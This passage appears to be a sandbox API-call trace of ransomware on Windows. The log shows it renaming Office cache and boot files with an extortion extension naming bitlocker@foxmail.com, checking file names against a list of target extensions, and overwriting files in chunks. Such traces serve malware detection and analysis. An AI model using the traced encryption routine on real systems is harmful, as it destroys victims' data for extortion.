(lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.174] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90192) returned 1 [0043.174] CloseHandle (hObject=0x164) returned 1 [0043.174] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0043.174] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.174] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.175] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0043.175] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0043.175] lstrlenW (lpString=".doc") returned 4 [0043.175] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.175] lstrlenW (lpString=".docx") returned 5 [0043.175] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.175] lstrlenW (lpString=".pdf") returned 4 [0043.175] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.175] lstrlenW (lpString=".xls") returned 4 [0043.175] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.175] lstrlenW (lpString=".xlsx") returned 5 [0043.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.175] lstrlenW (lpString=".ppt") returned 4 [0043.175] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.175] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0043.175] lstrlenW (lpString=".zip") returned 4 [0043.175] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.175] lstrlenW (lpString=".rar") returned 4 [0043.175] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.175] lstrlenW (lpString=".bz2") returned 4 [0043.175] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.175] lstrlenW (lpString=".7z") returned 3 [0043.175] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.175] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=87616) returned 1 [0043.175] CloseHandle (hObject=0x164) returned 1 [0043.175] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0043.175] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.176] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.176] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=87104) returned 1 [0043.176] CloseHandle (hObject=0x164) returned 1 [0043.176] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0043.176] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.176] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.176] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=70720) returned 1 [0043.176] CloseHandle (hObject=0x164) returned 1 [0043.176] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0043.176] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.176] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.729] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0044.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0044.807] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.807] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.807] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.816] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.816] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.828] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.846] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.846] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.207] SetEndOfFile (hFile=0x194) returned 1 [0045.207] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x4085500 [0045.207] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.207] WriteFile (in: hFile=0x194, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.209] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.209] WriteFile (in: hFile=0x194, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.215] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.215] WriteFile (in: hFile=0x194, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.218] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4085500 | out: hHeap=0x6c0000) returned 1 [0045.218] CloseHandle (hObject=0x194) returned 1 [0045.959] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.959] lstrlenW (lpString=".doc") returned 4 [0045.959] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.959] lstrlenW (lpString=".docx") returned 5 [0045.959] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.959] lstrlenW (lpString=".pdf") returned 4 [0045.959] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.959] lstrlenW (lpString=".xls") returned 4 [0045.959] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.959] lstrlenW (lpString=".xlsx") returned 5 [0045.959] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.959] lstrlenW (lpString=".ppt") returned 4 [0045.959] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.959] lstrlenW (lpString=".zip") returned 4 [0045.959] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString=".rar") returned 4 [0045.960] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString=".bz2") returned 4 [0045.960] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.960] lstrlenW (lpString=".7z") returned 3 [0045.960] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString=".dbf") returned 4 [0045.960] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString=".1cd") returned 4 [0045.960] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString=".jpg") returned 4 [0045.960] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString=".doc") returned 4 [0045.960] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.960] lstrlenW (lpString=".docx") returned 5 [0045.960] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.960] lstrlenW (lpString=".pdf") returned 4 [0045.960] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString=".xls") returned 4 [0045.960] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString=".xlsx") returned 5 [0045.960] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.960] lstrlenW (lpString=".ppt") returned 4 [0045.960] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.960] lstrlenW (lpString=".zip") returned 4 [0045.960] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.960] lstrlenW (lpString=".rar") returned 4 [0045.960] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.961] lstrlenW (lpString=".bz2") returned 4 [0045.961] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.961] lstrlenW (lpString=".7z") returned 3 [0045.961] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.961] lstrlenW (lpString=".dbf") returned 4 [0045.961] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.961] lstrlenW (lpString=".1cd") returned 4 [0045.961] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0045.961] lstrlenW (lpString=".jpg") returned 4 [0045.961] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.961] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0045.961] lstrlenW (lpString="OutlkLR.cab") returned 11 [0045.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.961] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14819276) returned 1 [0045.961] CloseHandle (hObject=0x194) returned 1 [0045.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0045.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.962] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0045.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.962] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.962] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.962] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.968] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.968] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.971] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.971] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.971] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.987] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.987] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0046.424] SetEndOfFile (hFile=0x194) returned 1 [0046.424] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0046.424] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.424] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.426] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.426] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.427] WriteFile (in: hFile=0x194, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.429] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0046.429] CloseHandle (hObject=0x194) returned 1 [0048.938] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0048.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.938] lstrlenW (lpString=".doc") returned 4 [0048.939] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".docx") returned 5 [0048.939] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.939] lstrlenW (lpString=".pdf") returned 4 [0048.939] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".xls") returned 4 [0048.939] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".xlsx") returned 5 [0048.939] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.939] lstrlenW (lpString=".ppt") returned 4 [0048.939] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString=".zip") returned 4 [0048.939] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".rar") returned 4 [0048.939] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".bz2") returned 4 [0048.939] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.939] lstrlenW (lpString=".7z") returned 3 [0048.939] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString=".dbf") returned 4 [0048.939] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString=".1cd") returned 4 [0048.939] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString=".jpg") returned 4 [0048.939] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.939] lstrlenW (lpString=".doc") returned 4 [0048.939] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.939] lstrlenW (lpString=".docx") returned 5 [0048.939] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.940] lstrlenW (lpString=".pdf") returned 4 [0048.940] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString=".xls") returned 4 [0048.940] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString=".xlsx") returned 5 [0048.940] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.940] lstrlenW (lpString=".ppt") returned 4 [0048.940] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.940] lstrlenW (lpString=".zip") returned 4 [0048.940] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString=".rar") returned 4 [0048.940] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString=".bz2") returned 4 [0048.940] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.940] lstrlenW (lpString=".7z") returned 3 [0048.940] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.940] lstrlenW (lpString=".dbf") returned 4 [0048.940] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.940] lstrlenW (lpString=".1cd") returned 4 [0048.940] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0048.940] lstrlenW (lpString=".jpg") returned 4 [0048.940] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.940] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0048.940] lstrlenW (lpString="Proof.cab") returned 9 [0048.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0048.941] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11482605) returned 1 [0048.941] CloseHandle (hObject=0x194) returned 1 [0048.941] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0048.941] 